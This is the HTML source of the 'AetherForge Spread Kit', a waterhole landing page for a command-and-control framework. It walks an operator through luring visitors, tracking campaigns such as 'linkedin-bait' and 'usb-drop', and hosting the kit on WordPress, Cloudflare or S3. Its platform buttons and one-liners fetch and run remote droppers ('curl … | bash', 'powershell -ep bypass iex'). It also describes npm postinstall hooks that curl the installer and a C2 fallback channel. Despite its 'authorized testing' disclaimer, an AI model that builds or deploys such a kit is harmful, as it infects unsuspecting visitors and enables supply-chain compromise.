c12565c83d
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Agents poll AETHERFORGE_CLOUD_MAP_ENDPOINT to sync know_node gossip; deploy plans attach route_via DNS hints for standalone operator registries.
343 lines
17 KiB
HTML
343 lines
17 KiB
HTML
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8" />
|
|
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
|
<meta name="description" content="AetherForge spread kit — static waterhole landing for authorized red-team and lab distribution." />
|
|
<title>AetherForge Spread Kit</title>
|
|
<link rel="stylesheet" href="assets/aether.css" />
|
|
</head>
|
|
<body>
|
|
<main class="shell">
|
|
<nav class="topnav">
|
|
<a class="brand" href="#">Spread Kit</a>
|
|
<div class="nav-links">
|
|
<a href="#install">Install</a>
|
|
<a href="#campaigns">Campaigns</a>
|
|
<a href="#cms">CMS upload</a>
|
|
<a href="#plugins">Plugins</a>
|
|
<a href="/docs/SPREAD_TECHNIQUES.html">Spread playbook</a>
|
|
</div>
|
|
</nav>
|
|
|
|
<header class="hero">
|
|
<p class="eyebrow">AetherForge · Emberwake</p>
|
|
<h1>Spread kit — static waterhole landing</h1>
|
|
<p class="lede">
|
|
Upload this folder to any host you control. Visitors pick their platform; installers pull from your
|
|
command-deck server with optional campaign and build-pin tracking.
|
|
</p>
|
|
</header>
|
|
|
|
<section class="section" id="how">
|
|
<h2>How it works</h2>
|
|
<div class="flow" aria-label="Spread funnel">
|
|
<span class="flow-node">Lure / ad / email</span>
|
|
<span class="flow-arrow">→</span>
|
|
<span class="flow-node">Your static page</span>
|
|
<span class="flow-arrow">→</span>
|
|
<span class="flow-node">install.ps1 / .sh / .command</span>
|
|
<span class="flow-arrow">→</span>
|
|
<span class="flow-node">Server <code class="inline">/get</code></span>
|
|
<span class="flow-arrow">→</span>
|
|
<span class="flow-node">Agent checks in</span>
|
|
</div>
|
|
<p style="margin-top: 1rem;">
|
|
The page does not host binaries — it only links to your AetherForge server dropper endpoints.
|
|
Campaign tags flow from the URL into installer scripts and appear in the fleet dashboard on first connect.
|
|
</p>
|
|
</section>
|
|
|
|
<section class="section" id="steps">
|
|
<h2>Operator — 3 steps</h2>
|
|
<div class="steps">
|
|
<article class="step">
|
|
<strong>Forge & pin</strong>
|
|
<span>
|
|
Build an installer in the command deck. Pin the build you want for this wave (Builds → pin).
|
|
Note the build UUID for A/B tests.
|
|
</span>
|
|
</article>
|
|
<article class="step">
|
|
<strong>Export or sync</strong>
|
|
<span>
|
|
Emberwake → set server URL + campaign → <em>Export spread kit ZIP</em>, or copy
|
|
<code class="inline">spread-kit-web-publisher/</code> and replace placeholders.
|
|
Upload all files to your static host root or subpath.
|
|
</span>
|
|
</article>
|
|
<article class="step">
|
|
<strong>Share with tracking</strong>
|
|
<span>
|
|
Distribute <code class="inline">https://yoursite/page?c=campaign-slug</code>.
|
|
Watch hits under Emberwake → Campaign hits and agent <code class="inline">campaign</code> metadata.
|
|
</span>
|
|
</article>
|
|
</div>
|
|
</section>
|
|
|
|
<section class="section" id="install">
|
|
<h2>Platform install</h2>
|
|
<p>Auto-highlights your OS. All links include configured server URL and query suffix from export.</p>
|
|
<div class="platform-grid" id="actions">
|
|
<article class="platform-card">
|
|
<header>
|
|
<span class="platform-icon platform-icon--win" aria-hidden="true"></span>
|
|
<h3>Windows</h3>
|
|
</header>
|
|
<p>PowerShell dropper — downloads pinned build or latest Windows artifact via <code class="inline">/get?os=windows</code>.</p>
|
|
<a class="btn btn-win" id="btn-win" data-installer="install.ps1" href="install.ps1{{QUERY_SUFFIX}}">Run install.ps1</a>
|
|
</article>
|
|
<article class="platform-card">
|
|
<header>
|
|
<span class="platform-icon platform-icon--nix" aria-hidden="true"></span>
|
|
<h3>Linux</h3>
|
|
</header>
|
|
<p>Shell dropper for desktops and servers — pipes <code class="inline">install.sh</code> from your command deck.</p>
|
|
<a class="btn btn-nix" id="btn-nix" data-installer="install.sh" href="install.sh{{QUERY_SUFFIX}}">Run install.sh</a>
|
|
</article>
|
|
<article class="platform-card">
|
|
<header>
|
|
<span class="platform-icon platform-icon--mac" aria-hidden="true"></span>
|
|
<h3>macOS</h3>
|
|
</header>
|
|
<p>Double-click <code class="inline">.command</code> or curl one-liner; same pipeline as Linux with macOS UA routing.</p>
|
|
<a class="btn btn-mac" id="btn-mac" data-installer="install.command" href="install.command{{QUERY_SUFFIX}}">Run install.command</a>
|
|
</article>
|
|
<article class="platform-card">
|
|
<header>
|
|
<span class="platform-icon platform-icon--srv" aria-hidden="true"></span>
|
|
<h3>Server (curl)</h3>
|
|
</header>
|
|
<p>Headless VPS / CI — paste in SSH session. No browser required.</p>
|
|
<a class="btn btn-dl" id="btn-dl" href="{{SERVER_URL}}/get{{QUERY_SUFFIX}}">Direct /get download</a>
|
|
</article>
|
|
</div>
|
|
<h3>One-liners</h3>
|
|
<p class="form-hint" style="color: var(--muted); margin: 0 0 0.5rem;">Copy for docs pages, tickets, or IRC.</p>
|
|
<code class="codeblock" id="oneliner-bash">curl -sL '{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}' | bash</code>
|
|
<code class="codeblock" id="oneliner-ps1" style="margin-top: 0.5rem;">powershell -ep bypass -c "iex (irm '{{SERVER_URL}}/install.ps1{{QUERY_SUFFIX}}')"</code>
|
|
</section>
|
|
|
|
<section class="section" id="campaigns">
|
|
<h2>Campaign tracking</h2>
|
|
<p>
|
|
Append query parameters to any waterhole URL, dropper script URL, or <code class="inline">/get</code> link.
|
|
The server logs the hit; agents inherit the campaign on install.
|
|
</p>
|
|
<div class="info-grid info-grid--2">
|
|
<article class="info-card info-card--ember">
|
|
<h3><code class="inline">?c=</code> campaign slug</h3>
|
|
<ul>
|
|
<li>Tags the funnel wave — e.g. <code class="inline">?c=linkedin-bait</code></li>
|
|
<li>Shown in Emberwake → Campaign hits</li>
|
|
<li>Stored on agent as <code class="inline">campaign</code> metadata</li>
|
|
<li>Slug: alphanumeric, dash, underscore, dot — max 64 chars</li>
|
|
</ul>
|
|
</article>
|
|
<article class="info-card info-card--cyan">
|
|
<h3><code class="inline">?pin=</code> build UUID</h3>
|
|
<ul>
|
|
<li>Locks dropper to a specific forged build</li>
|
|
<li>Use for A/B: pin build A, share <code class="inline">?pin=<uuid-a>&c=wave-a</code></li>
|
|
<li>Combine with <code class="inline">?c=</code>: <code class="inline">?pin=…&c=…</code></li>
|
|
<li>Emberwake campaign builder copies ready-made links</li>
|
|
</ul>
|
|
</article>
|
|
</div>
|
|
<div class="table-wrap">
|
|
<table>
|
|
<thead>
|
|
<tr><th>Example URL</th><th>Use</th></tr>
|
|
</thead>
|
|
<tbody>
|
|
<tr>
|
|
<td><code class="inline">https://yoursite.example/?c=usb-drop</code></td>
|
|
<td>Static page; scripts read <code class="inline">location.search</code></td>
|
|
</tr>
|
|
<tr>
|
|
<td><code class="inline">{{SERVER_URL}}/get?c=docs-footer</code></td>
|
|
<td>Direct binary fetch with attribution</td>
|
|
</tr>
|
|
<tr>
|
|
<td><code class="inline">{{SERVER_URL}}/install.ps1?pin={{BUILD_ID}}&c=ab-test-b</code></td>
|
|
<td>Pinned build + campaign on PS1 one-liner</td>
|
|
</tr>
|
|
</tbody>
|
|
</table>
|
|
</div>
|
|
<p>
|
|
<span class="tag">Tip</span>
|
|
See <a href="campaigns/README.md">campaigns/README.md</a> in the kit ZIP for rotation playbooks.
|
|
Operator playbook: <a href="/docs/SPREAD_TECHNIQUES.html">Spread Techniques</a>
|
|
· research matrix: <a href="/docs/SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
|
|
</p>
|
|
</section>
|
|
|
|
<section class="section" id="cms">
|
|
<h2>CMS & static host upload</h2>
|
|
<p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p>
|
|
<ol class="cms-list">
|
|
<li>
|
|
<strong>WordPress — Custom HTML block</strong>
|
|
<p>
|
|
Pages → Add block → <em>Custom HTML</em>. Upload <code class="inline">index.html</code> assets via Media Library
|
|
or paste a trimmed hero + platform section. Host <code class="inline">install.ps1</code> / <code class="inline">install.sh</code>
|
|
in the same directory via SFTP or a child theme <code class="inline">/spread/</code> folder. Link buttons to absolute
|
|
URLs on that path. Keep <code class="inline">assets/aether.css</code> relative.
|
|
</p>
|
|
</li>
|
|
<li>
|
|
<strong>Cloudflare Pages</strong>
|
|
<p>
|
|
Create project → connect repo or drag-drop ZIP → set build output to kit root.
|
|
Publish at <code class="inline">pages.dev</code> or your zone CNAME. No server config — pure static.
|
|
Optional: Workers in front for geo/UA gate (see docs wiki).
|
|
</p>
|
|
</li>
|
|
<li>
|
|
<strong>Amazon S3 + CloudFront</strong>
|
|
<p>
|
|
Create bucket → enable static website or OAI to CloudFront → upload all kit files preserving
|
|
<code class="inline">assets/</code> path. Set <code class="inline">index.html</code> as default root object.
|
|
Invalidate cache after each Emberwake export. Use a separate bucket from command-deck artifacts.
|
|
</p>
|
|
</li>
|
|
</ol>
|
|
<p>
|
|
After upload, test each platform button and verify campaign hits in Emberwake when appending
|
|
<code class="inline">?c=test</code> to the live URL.
|
|
</p>
|
|
</section>
|
|
|
|
<section class="section" id="plugins">
|
|
<h2>Plugin supply chain (owned extension)</h2>
|
|
<p>
|
|
For browser, editor, <strong>WordPress</strong>, or <strong>npm</strong> packages you <em>publish</em>, ship a
|
|
legitimate update package that points download/install flows at <em>your</em> server — not third-party registry hijacking.
|
|
</p>
|
|
<div class="info-card info-card--violet">
|
|
<h3>High-level pattern</h3>
|
|
<ul>
|
|
<li><strong>WordPress (owned site):</strong> Emberwake → <em>Export WordPress Plugin ZIP</em> → upload on your WP host. Plugin links to <code class="inline">/get?c=wp-{site}</code>. <a href="/docs/#wordpress-plugin-supply-chain">Docs wiki §</a></li>
|
|
<li><strong>npm (your registry):</strong> Emberwake → <em>Export npm package template ZIP</em> → publish privately; <code class="inline">postinstall</code> curls <code class="inline">install.sh</code>. <a href="/docs/#npm-postinstall-helper">Docs wiki §</a></li>
|
|
<li><strong>Host your own plugin ZIP</strong> on the same static origin as this kit (or GitHub Releases you control).</li>
|
|
<li>Manifest / update URL fields reference your <code class="inline">install.ps1</code> or <code class="inline">/get</code> endpoint with <code class="inline">?c=plugin-update</code>.</li>
|
|
<li>Extension logic opens your spread landing or triggers the platform dropper — user still confirms install (modern browsers block silent sideload).</li>
|
|
<li>Rotate update manifests between waves; pin builds with <code class="inline">?pin=</code> for staged rollouts.</li>
|
|
<li>Keep signing keys and update XML on infrastructure separate from the command-deck process when possible.</li>
|
|
</ul>
|
|
</div>
|
|
<p>
|
|
Registry compromise (npm/PyPI typosquat) is out of scope — this kit is for assets and update channels
|
|
<em>you</em> operate. See
|
|
<a href="/docs/SPREAD_TECHNIQUES.html#third-party">third-party platforms</a> in the spread playbook for risk notes.
|
|
</p>
|
|
</section>
|
|
|
|
<section class="section" id="policy-fanout">
|
|
<h2>EventBridge policy fan-out (degraded mode)</h2>
|
|
<p>
|
|
When C2 is unreachable, agents poll a lightweight policy snapshot or receive pushes via your own
|
|
EventBridge relay. No mandatory AWS signup — copy static templates or export a configured ZIP from Emberwake.
|
|
</p>
|
|
<div class="install-grid">
|
|
<a class="install-card" href="aws/cloudformation.json">cloudformation.json</a>
|
|
<a class="install-card" href="aws/eventbridge-rule.json">eventbridge-rule.json</a>
|
|
<a class="install-card" href="aws/lambda/index.js">lambda/index.js</a>
|
|
<a class="install-card" href="aws/README.txt">README.txt</a>
|
|
</div>
|
|
<p class="fine" style="margin-top: 0.75rem;">
|
|
Poll URL: <code class="inline">/api/v1/public/policy-snapshot/{token}</code> — includes
|
|
<code class="inline">genesis_version</code>, <code class="inline">hospice_list</code>, and
|
|
<code class="inline">vaccination_lanes</code>. Authenticated export:
|
|
<code class="inline">POST /api/v1/spread/policy-fanout-export</code>.
|
|
</p>
|
|
</section>
|
|
|
|
<section class="section" id="cloud-map">
|
|
<h2>Cloud Map + VPC Lattice seeder discovery</h2>
|
|
<p>
|
|
Standalone operator templates for <strong>AWS Cloud Map</strong> registry JSON and optional
|
|
<strong>VPC Lattice</strong> service network routing. Host the registry on <em>your</em> HTTPS origin — no live
|
|
Lattice account required on the command deck.
|
|
</p>
|
|
<div class="install-grid">
|
|
<a class="install-card" id="cloud-map-bundle" href="#">Operator README</a>
|
|
<a class="install-card" id="cloud-map-registry" href="#">registry-endpoint.json</a>
|
|
<a class="install-card" id="cloud-map-lattice" href="#">lattice-snippet.yaml</a>
|
|
</div>
|
|
<p class="fine" style="margin-top: 0.75rem;">
|
|
Agents poll <code class="inline">AETHERFORGE_CLOUD_MAP_ENDPOINT</code>; atlas gossip syncs
|
|
<code class="inline">know_node</code> from healthy instances. BGP hints use
|
|
<code class="inline">route_via=seeder.svc.prod.local</code> when Calibrate sets
|
|
<code class="inline">cloud_map_namespace</code>.
|
|
</p>
|
|
</section>
|
|
|
|
<footer class="fine">
|
|
<p>
|
|
Command-deck copy: <a href="/spread/">/spread/</a> ·
|
|
Docs: <a href="/docs/">/docs/</a> ·
|
|
Export fresh kits from <strong>Emberwake</strong> after each forge.
|
|
</p>
|
|
<p>AetherForge — authorized testing and lab use only.</p>
|
|
</footer>
|
|
</main>
|
|
|
|
<script>
|
|
(function () {
|
|
var SERVER = '{{SERVER_URL}}';
|
|
if (SERVER.indexOf('{{') === 0) {
|
|
SERVER = window.location.origin;
|
|
}
|
|
|
|
var pageQs = window.location.search || '';
|
|
var suffix = '{{QUERY_SUFFIX}}';
|
|
if (suffix.indexOf('{{') === 0) {
|
|
suffix = pageQs;
|
|
} else if (pageQs && suffix.indexOf('?') !== 0) {
|
|
suffix = pageQs;
|
|
}
|
|
|
|
function withSuffix(path) {
|
|
if (!suffix) return path;
|
|
if (path.indexOf('?') >= 0) return path + suffix.replace('?', '&');
|
|
return path + suffix;
|
|
}
|
|
|
|
document.querySelectorAll('[data-installer]').forEach(function (el) {
|
|
var file = el.getAttribute('data-installer');
|
|
el.href = file + (suffix || '');
|
|
});
|
|
|
|
var dl = document.getElementById('btn-dl');
|
|
if (dl) dl.href = withSuffix(SERVER + '/get');
|
|
|
|
var cloudMapBase = 'cloud-map/';
|
|
var cloudMapBundle = document.getElementById('cloud-map-bundle');
|
|
if (cloudMapBundle) cloudMapBundle.href = withSuffix(cloudMapBase + 'README.md');
|
|
var cloudMapRegistry = document.getElementById('cloud-map-registry');
|
|
if (cloudMapRegistry) cloudMapRegistry.href = withSuffix(cloudMapBase + 'registry-endpoint.json');
|
|
var cloudMapLattice = document.getElementById('cloud-map-lattice');
|
|
if (cloudMapLattice) cloudMapLattice.href = withSuffix(cloudMapBase + 'lattice-snippet.yaml');
|
|
|
|
var bash = document.getElementById('oneliner-bash');
|
|
var ps1 = document.getElementById('oneliner-ps1');
|
|
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
|
|
if (ps1) ps1.textContent = 'powershell -ep bypass -c "iex (irm \'' + SERVER + '/install.ps1' + suffix + '\')"';
|
|
|
|
var ua = navigator.userAgent || '';
|
|
var win = /windows/i.test(ua);
|
|
var mac = /macintosh|mac os x/i.test(ua);
|
|
var nix = /linux/i.test(ua) && !/android/i.test(ua);
|
|
var primary = win ? 'btn-win' : mac ? 'btn-mac' : nix ? 'btn-nix' : null;
|
|
if (primary) {
|
|
var btn = document.getElementById(primary);
|
|
if (btn) btn.classList.add('primary');
|
|
}
|
|
})();
|
|
</script>
|
|
</body>
|
|
</html>
|